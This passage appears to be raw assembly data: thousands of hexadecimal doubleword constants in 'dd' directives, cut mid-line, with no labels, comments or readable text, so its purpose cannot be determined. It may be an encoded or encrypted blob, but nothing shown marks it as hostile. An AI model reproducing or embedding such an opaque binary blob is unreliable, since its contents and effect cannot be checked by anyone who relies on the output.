7DEE92DAh, 71DFDB30h, 48CB23FDh dd 0BE0C38D3h, 1219DE25h, 8C90A007h, 0D860E029h, 0CECC9Bh dd 9C6C032Ch, 478496C3h, 9F00B9E8h, 578A22FFh, 4CFC5098h dd 0AC8064F4h, 42A4D047h, 8B563F00h, 53F62D60h, 2421C17Bh dd 0D4F37892h, 6C0F4EECh, 0E8F59513h, 0D9678F80h, 20E288A2h dd 0CF14C80h, 7804CB24h, 0F62593F2h, 0B0FBD893h, 18C7EDFh dd 45F1BAF3h, 0FC862A99h, 24B103C0h, 7DB000BFh, 0E2A347CEh dd 90820040h, 216689C0h, 40901BCDh, 0CC254638h, 0C22E0238h dd 48453358h, 168D864h, 8BF32AAEh, 0EC6FCE63h, 26F27823h dd 0A00330CFh, 0C1319AFh, 0CCAD12F1h, 8F000CFh, 0D8B126B8h dd 7E958207h, 0A2510733h, 61E668F5h, 4812E13Ch, 36C53561h dd 0DF2201D0h, 5B14D31Ch, 81C3899Fh, 9BEF199Dh, 3A0424AEh dd 0EA085F1Eh, 0C3D84081h, 1421355Ch, 9CC5320h, 14274770h dd 0CE005064h, 677A6BDDh, 5C26DC34h, 0D180401Dh, 0E94A25E5h dd 22582E5Ch, 0C47D2E98h, 887B6764h, 0B13BE8A4h, 1D359FDh dd 227C19BCh, 9C5CFE70h, 5E98400Ch, 0D79BC218h, 1C606619h dd 4469F98Ch, 0C81CDDD0h, 0C0379ACh, 957A2E4h, 0CA9F8091h dd 0ABC00D3h, 44D57F99h, 0FD052D35h, 956CCEA2h, 3BD2E883h dd 0DB924AA1h, 933D003Dh, 35E78AF2h, 0BC0CB007h, 5110D09Ch dd 4C25976Fh, 0A13A6886h, 0A3C4D689h, 20C21005h, 5EEA4AC0h dd 1DE23812h, 0F191A0D0h, 8CC40010h, 8D78D87Ah, 0F9005E9Fh dd 89439247h, 0D8F384Bh, 0D120630Dh, 0F85EE191h, 0E500499Ch dd 609A3161h, 5856CDBh, 0F6D4DE7Dh, 8A00809Fh, 4B40C87Fh dd 0FA203131h, 0D01BEF89h, 487219E4h, 0C0D36607h, 1FB3F79Ch dd 6602AAA4h, 0EC490040h, 0B215A9A0h, 0ED00F482h, 3B834828h dd 170847EBh, 219BBDB7h, 7A6337FCh, 9C7A52C0h, 0E43500F8h dd 91EFDD8Dh, 4F7CD45Fh, 94994200h, 0F403B849h, 2F69C783h dd 8146822Eh, 87CE50E0h, 6B2BDE04h, 6888C77Dh, 0B844F87Ah dd 4437E814h, 50004A56h, 0E09C111Eh, 7E1C7E31h, 415F1C6Bh dd 771D00BBh, 0CA9A6127h, 0D953867Ch, 4C3E00ECh, 0B5FB03A8h dd 759000ABh, 3AA648C3h, 2F1CBD97h, 0CB490453h, 7FC8218h dd 0B344494h, 310AC52Eh, 0DE704E82h, 0C1EBCC40h, 0DF994814h dd 465858h, 819ED8ACh, 0B8295A94h, 91CEF00Ch, 4CEC917Ch dd 0DF1BC0BCh, 98A0E2h, 62546AA5h, 6BB6119Bh, 0D60357FEh dd 27176394h, 37B8F01Bh, 0A939C04Eh, 434A2859h, 0C1580702h dd 62605263h, 2084650h, 7A3619FBh, 74E43321h, 76A7CB00h dd 0EEB812CDh, 850E4CDAh, 0AA91F201h, 60614126h, 422C4679h dd 27409C76h, 73E4AFDAh, 0CAD8A082h, 259A0758h, 9214C765h dd 0F4C05546h, 0FD0F64F4h, 0ECCC26E4h, 0FB389FBh, 0F38A11A4h dd 0F5EC3E87h, 63B88057h, 0E901A83Ah, 790927FDh, 7180D994h dd 85E80A01h, 7F0C6AE2h, 78B01969h, 1F371606h, 71742094h dd 50F683Ah, 4F0BA086h, 9507001Eh, 0A420A46Bh, 0E15F00FCh dd 4EC177ACh, 0F200AAC4h, 17A94CBAh, 0CDE3DCh, 0DD65AF88h dd 0D8282C90h, 0CC13A5FAh, 0CC00208Ah, 0FC48ED1Fh, 9DCD070Dh dd 5A124F6Ah, 436460E0h, 0B7005D8Bh, 0C9708505h, 9478D4DFh dd 1DFE0030h, 5F559839h, 0DB0DFD02h, 6461F5B4h, 0D89C168Ch dd 0FB0900A2h, 0A37A0D39h, 9FBEC900h, 4E276ECEh, 0B4400C1Ah dd 36715F37h, 390022F8h, 16F0B081h, 947FF605h, 0DC4C83B4h dd 90B2080Eh, 0B01D48C0h, 55D36A02h, 0C478F6E8h, 0C97D26B0h dd 0DA4B4054h, 0F4F8EC1Bh, 3028544h, 485057C5h, 0F1E310B6h dd 0AB3D191Eh, 0BFF7CB40h, 75F347D8h, 0C401077Bh, 43D03145h dd 0E4FCB3DBh, 0B6018460h, 0A5330134h, 2DDC4520h, 4A870921h dd 0A4028B95h, 0CB602605h, 4CB073CAh, 0A600E4Ch, 0E0CC2523h dd 37F0E980h, 30F189ADh, 1FEC8165h, 0CB0A270Dh, 0D43E28FFh dd 0D3C41600h, 45BF4Ah, 9DCE19CFh, 9B3055D2h, 18D849h dd 32F26FBBh, 230420h, 0EB956128h, 0F3A29434h, 4A715C13h dd 7C3A3801h, 405F7C4h, 408252DCh, 0E8713FFh, 5C5E4801h dd 0F64BC405h, 3468887Eh, 25000C91h, 121E53B9h, 50ED0135h dd 41896E65h, 73C7220h dd 3CCDD4B4h, 71802780h, 736401C1h, 1141359Ah, 0DA003092h dd 0D1624719h, 3C239CC1h, 8C52B207h, 0EA192180h, 82DCDC1Fh dd 3BD4716h, 92CA0D00h, 0A244FDD2h, 0C06448h, 4E87940Ch dd 9E26095Ch, 0CF52F53Ch, 0C08C3824h, 649B483Eh, 2D36160Ch dd 22008E49h, 0E7C938D3h, 6D9BF7h, 0DED8476Ch, 0B880A062h dd 21C32F5h, 0D255BCBFh, 7A984CABh, 0EAFE0023h, 0E41A0E42h dd 2702EBB2h, 19DA98DDh, 0C200410Bh, 0F9A9CE0h, 22AD4830h dd 0FFEA7383h, 650C05A0h, 1209137Ah, 44929404h, 9389007Ch dd 4FDA2E03h, 0BD02F4D9h, 33DEB0F3h, 58460D4h, 0A5CE01A1h dd 0F659C07Fh, 2DC4957h, 1840BB98h, 0E812630Eh, 288C964Ch dd 0A3D800A2h, 6F938E01h, 6D1EBE57h, 75C0334Ah, 399C83FEh dd 0E6449013h, 44372881h, 84D24484h, 744A59h, 768CDD08h dd 18189AEh, 34C9F75h, 2922C157h, 3CB40054h, 6ACCE861h dd 98E8A386h, 0C48BF9Fh, 1296FA5Ch, 2A189230h, 7CA11BD3h dd 0A0E7C39h, 0B733902Ch, 0B0A06FB8h, 8C9B05DBh, 0F7A13938h dd 6F950D12h, 90BB3001h, 901754F5h, 21798052h, 0F6151805h dd 90228A59h, 48B4F2C0h, 8180489Bh, 0C8879E30h, 9D78B400h dd 51BE32F0h, 468F0350h, 959ADBB5h, 0BD52F9E8h, 11570202h dd 441D12B8h, 0A13D04A8h, 828FA253h, 0C89A7F44h, 2C0904C6h dd 64EA16C1h, 0CFFA005Ch, 0E51CB76h, 2E00C6C2h, 0D94718CCh dd 30A2F319h, 0AA499A1Ch, 7A00020Bh, 180152DAh, 7030948Fh dd 209E4AE4h, 5E4D2224h, 0D4DC6901h, 17D3336Dh, 0B5819828h dd 8028346Fh, 0B2376211h, 9CA5A8h, 214E8085h, 81D7510Eh dd 95E4BC06h, 59D49Ah, 664217C4h, 0F34B9020h, 286E5500h dd 141A41D1h, 43093E58h, 0A2952980h, 476372FEh, 0FC8F7C99h dd 71706077h, 0EF39698h, 4ECBEAD7h, 6AEB6200h, 1658D28Ch dd 7442860Ch, 4882F039h, 0F20138AEh, 0CD2888EEh, 43234h dd 6E14C92h, 1E427923h, 89AE1D3Bh, 94984D73h, 91003518h dd 0E9555B06h, 7297FCh, 9B22BAD0h, 278329B8h, 46408C96h dd 392CB085h, 56B89ABDh, 0D20B4F00h, 7EBFD409h, 3714CA00h dd 6CF962A7h, 0FCCB4CB1h, 88710301h, 606DF27Dh, 49013E50h dd 2418FD14h, 1820500Eh, 5720022h, 1719AFA7h, 0FD33D3FCh dd 935C958h, 94324D10h, 0E4332068h, 5552070Ah, 3C00808Dh dd 0EC79FA0Eh, 0A6CF0BAFh, 78683485h, 0D600AB01h, 8C191832h dd 0A4074Ah, 0C612878Bh, 93CEA2DEh, 2E07FFEEh, 6B8AFC37h dd 3E136420h, 8C052E82h, 0FE070078h, 58DE043Bh, 3EB88358h dd 70F8AEBDh, 61F63202h, 168447Eh, 0BB0F9DF2h, 0C59C03F1h dd 2DC020B8h, 233CF5E8h, 8D633E0Dh, 80142F56h, 74454460h dd 4AB5000Eh, 95F22666h, 0A496DF7Dh, 0AC485247h, 0EB3039D8h dd 0D2649DB9h, 3300397Fh, 0C5EA6284h, 48254647h, 7B0E24B1h dd 0D3E2A791h, 88AB43FCh, 8700CCC4h, 9EAE1170h, 94669Dh dd 4A3423EFh, 93AFD0F2h, 8BC49A48h, 330E28h, 83808758h dd 0CD5B0057h, 0C7EB1A2Ch, 0E8D29FC2h, 0F5A26005h, 0E6B7CC1h dd 48B32D20h, 0B4827420h, 3DC04E7Eh, 0E4002FF9h, 9C315837h dd 92A70DBh, 3D323FEh, 0D4B0B052h, 2530AFE4h, 0F0A7B1F4h dd 68970260h, 156A18D1h, 2400B0D1h, 514E6E4Ah, 1E1A2458h dd 9180025h, 2171A7D5h, 27B44859h, 7D089125h, 0B5FC8DD5h dd 0F9170CAAh, 0E0944048h, 0D84F7807h, 6F10E99Eh, 17FC86C9h dd 29A1B23h, 7F54F65Ch, 720218C6h, 7A42536Ah, 0F198A2E4h dd 97B89034h, 3823000Bh, 0B5C1C93Fh, 9A0A724Ch, 98573467h dd 6A328Bh, 1C693728h, 0D2871349h, 0CE4C21FCh, 5466E28Ah dd 6554CA00h, 8DEFF736h, 49BF0BF8h, 8880A963h, 7DDACB9Bh dd 10AC7C27h, 4F420Ch, 8A2DC339h, 4CBB1569h, 0CF970F3Bh dd 50FD100Ch, 0D35F17F5h, 1E00D5FEh, 43898CACh, 0BE24C220h dd 5F11CC07h, 22879639h, 0C52B0916h, 0D80C0005h, 0AE8125A1h dd 971D2315h, 3C951E94h, 72C80943h, 0C021BA19h, 0E50E7D5h dd 16D303F3h, 384641BAh, 554CBD00h, 0F21AD9C2h, 93F700EAh dd 6A1DC8ECh, 0C0239C5h, 0F6D30130h, 0E2C0447Dh, 8C4D5D1Fh dd 0ED22104Ch, 2342700h, 0ADF23A67h, 451400E1h, 5ABCABA6h dd 26052AA1h, 9CEC7AC2h, 841FC081h, 0B0EDFC20h, 0F64401C8h dd 0CC7A0CA5h, 78202016h, 0CA81F891h, 4701D2A6h, 6780C072h dd 76B2103Dh, 1647E448h, 8820F42Ah, 1285D14Eh, 8979FBh dd 2612F95Fh, 6D017E08h, 90D30BF5h, 22BB92Fh, 1D4DD244h dd 8DB0C48Ch, 0DDD95901h, 0C26331B5h, 0A46691FDh, 0D831313h dd 44897814h, 28B248h, 49BD7727h, 0C422E6Ah, 0F531B8BBh dd 1D5B6E68h, 0AE23D447h, 42254830h, 34762850h, 0C2FB0770h dd 0E70C4A2Ch, 325DC00Dh, 0BB5C3BB3h, 902600E8h, 30BAF062h dd 7C3A167Ah, 2224C8DFh, 45D70803h, 85CE8FFCh, 0C61D0882h dd 12B507D0h, 802092C3h, 46CDEEDEh, 47805899h, 552AC2FEh dd 224F0095h, 0B16F2724h, 58BEDBC3h, 3D480DE0h, 42890C0Fh dd 0E461E55Eh, 410284A6h, 0FB159B52h, 9085E01Ch, 12EE7DDFh dd 271D4202h, 0ABD7F01Ch, 981C6710h, 3A9FA59Dh, 0D3D5DF0Ah dd 129FA404h, 0F28090A8h, 0B0CB5999h, 0BAC7CA00h, 4E786540h dd 8D513C6Fh, 7100E43Bh, 20FF9A12h, 3AE8D4B6h, 0AADF2101h dd 1AD30D67h, 25244072h, 0C95F40E0h, 121DECB7h, 2C81FDBDh dd 299EA3D6h, 0FA00B073h, 533072E5h, 0B09C9BBDh, 33E7E83h dd 77D6C068h, 92DC00BFh, 66848ECEh, 0C224A2CCh, 0E111145Ah dd 0BCBE5700h, 2C8B1363h, 8953F618h, 68C57D61h, 817891E4h dd 72467D8h, 4A70E495h, 2B8B610Fh, 19E86004h, 24823830h dd 3B275DADh, 285E997h, 9C934C80h, 8CA22478h, 0CCDBA860h dd 5950C619h, 4820EC18h, 42AC90BAh, 1FCC225Eh, 805394DFh dd 1B9193A1h, 6029CABh, 9DF0BB9Fh, 14E070B1h, 0F88366DFh dd 136090C0h, 4800061Fh, 6CB4A70Dh, 14CB4B32h, 1434E388h dd 0F9AA007Ch, 49A5DCBCh, 0DB05946Fh, 2B6D4F68h, 0F6360080h dd 0E804256h, 0A07845FEh, 2203C2EDh, 90944B31h, 0C36DB9E8h dd 7924B100h, 7D874247h, 4A095C4h, 0D86D1463h, 850DAB00h dd 1995FF7Eh, 9A290215h, 1D45334Dh, 8A007052h, 0E77EA942h dd 1284414h, 0FE111080h, 0BAF92018h, 1A0EF251h, 0E281D8D3h dd 78A8A576h, 53C8013Ch, 2D2CBBBh, 0D3A8482Fh, 0AB9288h dd 0DE9DFAF0h, 85352A4Bh, 4AF8F30Fh, 3EC5CFF9h, 0E1BFF00h dd 147D4CDDh, 0D4AC8311h, 4432413h, 0C0F32790h, 0CEAE909Ch dd 0D9577116h, 0E110C88h, 0A5F7A128h, 9BAB8562h, 1F009C52h dd 6E7F5249h, 980D70FAh, 123B0185h, 0B6EB4AB0h, 0BAC0808Bh dd 0DFC42579h, 25B8E29Fh, 74C81D2Ah, 0A0F644F5h, 0F882416h dd 721701FEh, 2096B5CEh, 971612D1h, 4C101E78h, 22184C48h dd 3F16007Fh, 6DC027FDh, 2F2C6502h, 0B105FB34h, 0E88C7642h dd 20BD5C9Fh, 3490D52Dh, 4600630Ch, 200570A1h, 73F5B524h dd 7AF290B0h, 804100A9h, 1D62BDD7h, 4B01BF0Ah, 0D6CA3EB7h dd 51704D9Dh, 70B4E57h, 40812018h, 0F044C21Ch, 66559A13h dd 3191406h, 2C7C44F0h, 6158B900h, 4E1FE7B2h, 219E1E2Eh dd 47990239h, 0A0DA34E0h, 0B7043B00h, 0C5C0224Bh, 542600C6h dd 3F305E63h, 0CE0FE49Eh, 0B399361Eh, 0E8B23424h, 3771B900h dd 9E455034h, 270107B0h dd 7C047935h, 8052C3C2h, 0A646003h, 88E54A56h, 21F879E4h dd 19E9691Ch, 58F63280h, 257AEFh, 942BC71Ah, 0B8812A23h dd 0F5220202h, 0A0A36110h, 0BA2C2D20h, 801A00B2h, 69DA7894h dd 92002948h, 82886C51h, 3C704AC2h, 0FC8933B8h, 444260Ah dd 80885538h, 71F364ECh, 78BE689Bh, 702305D3h, 0C8379652h dd 81A01570h, 0F5249D18h, 6447E87Fh, 0A5601907h, 311A4D8h dd 9CE49A38h, 0C0C4F27Dh, 8541EA2Ch, 4ABF2700h, 9ED84E91h dd 8DC9141Ch, 72CD81Ah, 284AC84h, 168C1841h, 0E7121878h dd 6805A2F9h, 10A2B7EBh, 59642C07h, 996EB0D2h, 0FE024C1Dh dd 4A18FA97h, 0EA7C666Ch, 6F9E005Eh, 36D6A449h, 0F700788Eh dd 6B799724h, 0B298F74h, 0C620E23Eh, 2125A8C1h, 10FBF564h dd 2A26A9Ah, 0C3248328h, 14DAF79Eh, 0E68E5503h, 0A0651864h dd 95D7D312h, 0C865580Eh, 8674C1BEh, 1707D1Ch, 561F5FA0h dd 0D9E0B473h, 0C48400AAh, 361B94D0h, 0DD74664Ah, 0BE02204h dd 0A4EC4EBAh, 0B0FB3281h, 2D81E0EBh, 47635E00h, 2BF3C30h dd 20E4150Ch, 38008CF5h, 0AFE67E27h, 70003F6h, 6602E30Dh dd 0B39FD360h, 7FFC0074h, 55156CF3h, 1F7A743Eh, 48654285h dd 4E2C562Ch, 93D823B8h, 162A3EE0h, 91146A00h, 668724D3h dd 20C90AC0h, 1FE4ADFCh, 0B4FD1326h, 9A4EBD9Ch, 86009C5Ch dd 5BE256CAh, 0AAFF00F7h, 8DEC114Ah, 0FC0BB8ADh, 80F83426h dd 0E3A3244h, 0CE75040Ah, 0A213F08Ch, 23670170h, 4EC73DEFh dd 0E802F7C4h, 0CE010065h, 0AE8F1FB2h, 887CC203h, 0C0C09C5Ch dd 7692E5C0h, 852D1E42h, 2C97CBFBh, 6D5B2202h, 84BB9CC0h dd 390AC17h, 51EB6430h, 0B9B3001Ch, 8494E8BDh, 3901A0DCh dd 25EC6968h, 6C28F890h, 561E49DCh, 9EE18880h, 0CE00CB3Fh dd 0D7C22673h, 2CB181FBh, 40749B93h, 63EB97DBh, 9F904B07h dd 17D0CE71h, 5B7D6ADDh, 9BB046C7h, 0D20731FDh, 8CD5B258h dd 0B259060h, 40E4BC73h, 51BD4CB5h, 49007B7Eh, 69FE6AD9h dd 0A0A231h, 0ECE5D65Bh, 8D32395Ch, 0D72C109Dh, 751200BBh dd 1103958Fh, 70FDF2C2h, 8600CB16h, 0D71639Ch, 261E17BAh dd 0FB6FC69h, 0FAC1649Dh, 68DC7DF1h, 6F8944h, 0C6568E78h dd 127914BCh, 58003433h, 0B89AA050h, 4700960Fh, 5DE62E37h dd 0E07428BEh, 0D3393852h, 0C60434Fh, 0EFA89C2Ah, 409984A5h dd 662C1980h, 0EE0DE1F6h, 25511236h, 0A9D0A4F4h, 92F8BD00h dd 89ADBC8Ah, 19F7378h, 728B1E94h, 0DD2E557Fh, 7A8812D5h dd 44E00368h, 0C31D0C82h, 9033F9B8h, 76149A50h, 55D3D418h dd 3F8A5FEh, 0F3BDB33Ah, 3A1B839h, 0C0202A87h, 0F53685h dd 137EB331h, 79849BECh, 63E1A500h, 511A53FDh, 2216268Bh dd 0B62B1278h, 88FF21F0h, 249E163h, 6084A2A4h, 25FEFD88h dd 281377A9h, 751E3CA0h, 253D4B09h, 63FB8071h, 16E64648h dd 0F928A7h, 0FF9DC9F0h, 7651961Dh, 0A0492ADCh, 0A8D01094h dd 26F90079h, 56F28BF6h, 700A3B0Ah, 0E434086Eh, 30794540h dd 7E1EA26h, 78A4E911h, 73438167h, 51BF30D6h, 0AB16D327h dd 0E0782E48h, 58A98DD8h, 0D2BD14D5h, 0EA8610FEh, 120008B5h dd 0EF6ED849h, 3FE61E81h, 0C109649Ah, 0C0F9CF0Fh, 0C80BE300h dd 0F0A12734h, 9F9A00E8h, 5C095A06h, 0ACA019E6h, 9450F332h dd 9B4BA3B2h, 0C2DACC90h, 0D0B23536h, 0C878B56Ch, 4060376Ah dd 937FA391h, 0C0EE7488h, 6F24942Eh, 2B7F3016h, 3F53412h dd 0FC350604h, 0CC80D8ACh, 0FEE5D951h, 9495D803h, 0FCFFBF5Eh dd 0CB08E4ECh, 80BD4537h, 0BEEAA6CAh, 2727A09h, 23F662B8h dd 0D4767742h, 0F32838A7h, 0FD1B078Bh, 0D105460Dh, 0D5F7A61Ch dd 756092DCh, 0F02C44C8h, 1230995Ch, 0AA1C0285h, 0D45201D2h dd 185F4228h, 7185498h, 0F6E0AED7h, 92649C57h, 266C009Ch dd 0A6111A46h, 49BF9F1Eh, 0C1903D9Ah, 0F4F8D50Ch, 0E2B5019Eh dd 8FDD0E57h, 7CD460CAh, 12AAE73Ch, 20F1A89Fh, 9806F030h dd 7C406ECh, 0B8B1F0C2h, 3BC017F3h, 7960A6Dh, 57FC9397h dd 0C7301C0Ch, 445352Eh, 64CE7F8Bh, 84A41E50h, 1F5D499Eh dd 0BCF91F81h, 9676011h, 0E834F429h, 387FF800h, 1FD665Bh dd 7A5C9C60h, 80954317h, 0D2F71168h, 268E533h, 2014D54Bh dd 38E8E7D1h, 0F200595Dh, 83540A47h, 0A49978F5h, 0CC848090h dd 0A8E260A6h, 84AF220Fh, 8B128098h, 0D400199Dh, 0B7DD0B57h dd 0B1C0F86Dh, 742028D0h, 504CBC02h, 3000AF85h, 0D8395624h dd 2814518Ch, 1D80E035h, 527EEA3Ah, 0A23C95C7h, 159901ECh dd 57507925h, 8AA81C30h, 0BD1E80E4h, 15409936h, 88A3CA78h dd 83332EBEh, 0E72457h, 485206C5h, 909FBD3Dh, 531F18h dd 2AE4E70Eh, 0C54C0A9Dh, 0E88ABF32h, 15079C9h, 7AF3C027h dd 9D047CE6h, 39455CC0h, 7F4EA8h, 41B64D9Ch, 0A4D2F1F3h dd 90373828h, 9092D42Fh, 85225Ch, 437A0B1Fh, 2D41B464h dd 0CF57F400h, 9A09F30Ch, 0EC360069h, 0B174C365h, 0C4A0E187h dd 0C9283AEDh, 971C2494h, 294274ECh, 601979F6h, 0DCC31h dd 21697548h, 644DD127h, 1FFCB502h, 0C0C356E2h, 3183D58h dd 2E0BF612h, 2C345BFh, 209FB5E9h, 0CF0F7E08h, 8163BD0Fh dd 0D9B22870h, 700EC23h, 0ABB34D3Fh, 93005A90h, 669A03B8h dd 509F9410h, 89E5CC24h, 0FDC471E4h, 93EF10D2h, 0E7B3Dh dd 0CC269EF3h, 3FD62D5Bh, 2F76B258h, 44FCA27Ah, 0D61CA0B8h dd 1EA0913Ch, 81BE099Eh, 6698DD59h, 4C22A80Dh, 8481D70Bh dd 0EEF81887h, 8EF8030Eh, 97E6FABh, 7D1BB400h, 34BF5A97h dd 9FA126FFh, 3FF6000Ch, 5703B0C6h, 20CFBD2Ch, 880A1904h dd 7E0768A2h, 0B0DC437Dh, 60279B2Ch, 804D943Ch, 72D3010h dd 39F4B9EFh, 7907C17Ch, 352E16F6h, 2098C965h, 1C4F8410h dd 78DEC85Eh, 0EC721F8Ah, 9B0C0501h, 1C3C52F5h, 702CF78Fh dd 0ECEC8938h, 1566688h, 0B21B0D76h, 0D547BA58h, 7432D8ADh dd 9953460Bh, 0FB7809C4h, 783B40h, 0BA24816Ch, 9672D9A6h dd 86142EE2h, 5E5DD46h, 7544BF28h, 0A3320EC1h, 1960202Eh dd 7A0037E5h, 59FB036Dh, 111F8F09h, 9F02027h, 0F0F5ECA2h dd 6DB10062h, 4C934A32h, 0F0FC8274h, 1099192Fh, 3A362078h dd 2702ECABh, 0AEAAA222h, 29EDB882h, 0CF790068h, 31453430h dd 4B0CAFh, 0C0D023FDh, 0DA84F2A9h, 2BB7F317h, 0BC5CA408h dd 0F1210485h, 2668CC8Ah, 784C8600h, 0B40F4AB7h, 177DFE20h dd 80A7A308h, 2BB8B360h, 91408494h, 0F21004C4h, 0BB1400D2h dd 20542EB4h, 0A80BC532h, 0D12C9C73h, 7D880070h, 6D4C43ADh dd 2EA8EA4Bh, 0F0943E00h, 82EEF5A2h, 0CC15FC17h, 20104801h dd 0EC32379Ah, 174D3400h, 0CE5366Dh, 2F6F000h, 0E2015D55h dd 18FC14D3h, 253D886Ah, 0C77DB40Bh, 90B0C44h, 26814h dd 1A2DEA38h, 928B29Eh, 8B48BCD4h, 9C7B9085h, 88B36398h dd 0A50F0204h, 0C1D600E8h, 9662DF20h, 0D7091B58h, 9044C414h dd 347E6Dh, 0FA04583h, 41FC85Eh, 79B45B12h, 65D3201Eh dd 0D00B4F2h, 8A566237h, 0BC02C4F3h, 4231684Ah, 254E470h dd 0B8FB3465h, 30D6F561h, 0D29E1CC3h, 60BC5C7Eh, 0BABFCB91h dd 2513631Eh, 0A8FEC04Dh, 3FD001FFh, 0F7A11E3Bh, 5041E614h dd 0AAE810F4h, 0E9CE017Bh, 6A244B65h, 2859C69Ch, 54A8B400h dd 0ADF12Ch, 0FE95862Bh, 9083C614h, 631A4100h, 72CE29AEh dd 12C89085h, 14D84A5h dd 6A895BF1h, 0F00D3B8Bh, 203E71F7h, 0D4CA5E90h, 0E8913A00h dd 0F008032Fh, 2C9D58CEh, 0B940C128h, 47D007D4h, 0FC5A9015h dd 2600AA3Eh, 6041803Ch, 1FDFF57Dh, 8181D444h, 0A027BE65h dd 8233BE3h, 59C9D815h, 21235A1Bh, 0D4FB8680h, 87090534h dd 1017D2A7h, 0BDF5BDACh, 289F2411h, 0A181460h, 422609FCh dd 0D390C878h, 9BED114Dh, 82F100D6h, 0B819410Eh, 46170B87h dd 1044F5BEh, 76A20C04h, 68B26BFEh, 26C7117h, 8625B1B6h dd 0D28EA481h, 8AE06C02h, 9287A0FBh, 7A20CF53h, 9F2CCB6Ch dd 0C2AFC010h, 805FDF01h, 84402AD9h, 56BB4880h, 0B5A5F0D4h dd 0E474FD25h, 0EBC9F8B8h, 83EFF8h, 80C5ED11h, 0F0F83C91h dd 0A80EA58h, 6C9A902Ah, 0AA8D5300h, 2E788D8h, 0EB6029Eh dd 241628Ah, 2C3392h, 0A647AEB9h, 0DA7BC9h, 44A3D008h dd 428A9E69h, 49E74614h, 0FFCF01A8h, 6578870Dh, 0F7071E2h dd 92C21FF3h, 6C40EA74h, 0B42D4BB0h, 5E89008h, 2B0C006Fh dd 0AE036CFAh, 35E47E2Eh, 0F5683D03h, 0A297BE0Bh, 0E904654h dd 0A13A1FF2h, 4F09B987h, 2455C4E1h, 64DA20B1h, 6CD0412Ch dd 0F350B0ADh, 173075D4h, 88F07CEAh, 0F2384174h, 0F9780766h dd 0FAD26F71h, 40205E61h, 0C72F49FEh, 2699200h, 825EB072h dd 2ACD3F26h, 0ACB32E94h, 1E2C3EDEh, 0E657000Bh, 0CB34D307h dd 0FD025C03h, 0F4922A2Ch, 21AA58C2h, 0BCDC7D9Ch, 8C84F69h dd 0EEEB0049h, 743715CAh, 5C096730h, 0F253F5B8h, 40E09458h dd 0D6999704h, 132F2C03h, 0F83D6F21h, 0F766E4DEh, 0B66A49E0h dd 520A4A0h, 80AD1206h, 15456B58h, 24FD0807h, 1DC36A5Bh dd 0FC615BEFh, 0E06F007Bh, 6D0C334h, 4C7402D3h, 2CC8DC7Ch dd 214D7E0h, 7942AC16h, 3500F0E3h, 0FF320DFDh, 0EFA217Ah dd 0B8A8240Fh, 15C01F70h, 4A54460Ch, 64D70123h, 0FA149E35h dd 78043F44h, 0CC827E90h, 1F001410h, 0FB84894Bh, 142356F7h dd 3CF85E42h, 7DE96605h, 1EF40091h, 2E424437h, 48883A5Bh dd 50D31DF6h, 0FA9605h, 4B42F2F6h, 2918A53Ch, 962A8F26h dd 22189824h, 345B8761h, 2EA8C840h, 2C170Bh, 0B8C56158h dd 9BEFC1BEh, 0D78F7200h, 0F67B31B2h, 22FC019Eh, 0F403B784h dd 3EF71094h, 0F87702B1h, 261391D4h, 0CA0E587Eh, 6A9DA25Ch dd 30A0A18Dh, 44397AF6h, 0B8221055h, 48336B80h, 252D9743h dd 88401029h, 5EE60106h, 8F1B3407h, 0EC51F215h, 0A9272380h dd 0BD66525h, 0AA85E00Fh, 0C6E97C18h, 0EC084600h, 0E5689AF0h dd 2CECE535h, 0F2A40236h, 634D23F8h, 0B7C5A0C0h, 0FFD31113h dd 882FC94h, 0D82C40E4h, 0F27D00B1h, 3E4DD2BBh, 0C12C57FDh dd 0D12DCBAh, 89E11808h, 6C004495h, 7B47C60Bh, 4E8FB53h dd 0FED36006h, 0BEA0D8BCh, 511EA7A0h, 0CECB0B10h, 0C50589Ch dd 5C348B9Bh, 0CC16EA31h, 2CB0BCA8h, 2C940EBBh, 0CF3E67D1h dd 6283839Fh, 0EC8C97F5h, 699380F0h, 3F353786h, 180D5A3h dd 38240D73h, 0DE3E0CAEh, 0C820A5C2h, 9EBAC6Ch, 66AFF6D5h dd 0F09C4C80h, 0BD12534Dh, 244842A8h, 6188ACF1h, 0DCE1C758h dd 0C9FE67B8h, 0D800697Eh, 34D11F20h, 2D9D366Ah, 0D499EF39h dd 0E05C6DA9h, 0D695A9h, 0DDC2D182h, 0D54EE976h, 9916B800h dd 0B478962Fh, 705D0013h, 0D1D72671h, 250029BBh, 0F4742E09h dd 0FE10C238h, 29AB6FDEh, 5A3B4980h, 87F80333h, 0C2214100h dd 51FA5C11h, 0C099980Bh, 7674AB28h, 0F000B97Ch, 0E8617563h dd 77C8BC32h, 1320CE95h, 59ADD566h, 7CDCDE06h, 111F91h dd 31693321h, 0F9860BE5h, 1A4B8701h, 60805BDEh, 5CE8DCCCh dd 760042E1h, 0BECE5989h, 0E62C65CFh, 8400AA1Dh, 0D5AB77A3h dd 718B7B44h, 4E99C266h, 114083DCh, 0A9289813h, 720FB9C7h dd 206E822Eh, 0DD08A3D3h, 647E4F1h, 91A5E5CFh, 0A70099C9h dd 7D234397h, 73C46EAh, 25FFE567h, 63DDA045h, 4400718Ch dd 0A80C7568h, 0C01465B6h, 0EB5A8979h, 0A507D45Bh, 2E96D119h dd 0F3F116D0h, 39CA66Bh, 0C0FF561h, 0AFA05097h, 0A31A3A76h dd 0C0216362h, 0B6E889h, 0E9DFC410h, 75D03D22h, 9805C2EAh dd 76F00C87h, 96E6D840h, 3A43A9A6h, 88BEDB12h, 0C05B8A15h dd 88D4AD19h, 0F117F833h, 84FDC219h, 80F06BB8h, 7DA4A004h dd 64A0D0A7h, 6E23EC02h, 0C7635A82h, 6917400Ah, 791698D5h dd 0F770F102h, 9398A0AFh, 0FCA6B233h, 97E05B0h, 14CDD2h dd 0E1900B50h, 501D736h, 4BE977B4h, 81F05E39h, 271530CCh dd 0E523D129h, 2E81B00h, 1FC0F267h, 4D5E008Dh, 0B2AD378Ch dd 78E847D3h, 36791E67h, 763B7210h, 12C2F2BAh, 0DA092Bh dd 0FF90CEC5h, 0D7540C32h, 0E10C5D84h, 117294ACh, 502700C0h dd 52E851B6h, 0FA0044A8h, 0F73B9DFh, 600E0B70h, 267D3923h dd 91008992h, 312B1682h, 40791Eh, 0E73BB41Bh, 79659DBh dd 0B179C01h, 0F315F62h, 0C3F1A450h, 6E9D18A9h, 1FF57974h dd 544D7E00h, 7ADCF9A7h, 6BB60CD4h, 2F20734Ch, 101D81E0h dd 8200B79Fh, 0F1BFE764h, 281A00AFh, 16A715Fh, 0ED2A6FD9h dd 0CB1484C6h, 